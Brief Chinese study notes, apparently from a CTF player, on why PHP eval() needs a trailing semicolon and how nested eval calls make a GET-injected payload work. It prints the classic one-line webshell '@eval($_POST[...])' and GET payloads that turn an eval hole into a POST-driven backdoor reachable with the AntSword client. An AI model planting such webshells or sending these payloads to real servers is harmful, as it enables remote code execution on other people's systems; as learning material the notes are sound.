0x00
遇到的问题很多当时解决后面又忘了,多次循环后想一想还是记录一下比较好
0x01
一次php中get与post传值的一句话木马问题
源码
先是一个命令执行,老规矩先拿phpinfo()测一下,发现?a=phpinfo();可以而?a=phpinfo()不行
查看文档发现:
(PHP 4, PHP 5, PHP 7)
eval — 把字符串作为PHP代码执行
除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 'echo "Hi!"' 会导致一个 parse error,而 'echo "Hi!";' 则会正常运行。
但是一句话木马
<?php @eval($_POST[value]); ?>
eval()里也没有;号啊????
测试后发现:当eval()里直接执行php语句时是不用加;号的,但如果先接受$_get传进来的字符串再执行时,那么该$_get传进来的值是要加;号的
然后后面又出问题了
当传入?a=$_POST[%27attack%27];时 按理说服务器应该为 eval("$_POST['attack'];");
后 eval($_POST['attack']); 这样应该就可以用蚁剑连了
但是
哦豁失败了
但传入?a=eval($_POST['attack']);时 服务器端为 eval("eval($_POST['attack']);");
即eval(eval($_POST['attack']));却可以
再试试多重eval即?a=eval(eval(eval($_POST[%27attack%27]))); 发现也可以
后来通过某个师傅问了另一个师傅,说是eval是语言构造器 动态调用会undefined
暂时还不明白为什么第一个传参失败
以后遇到这种情况多搞点eval就完事,特别时做题时多嵌套一个eval也方便看清自己的payload逻辑
0x02
待记录......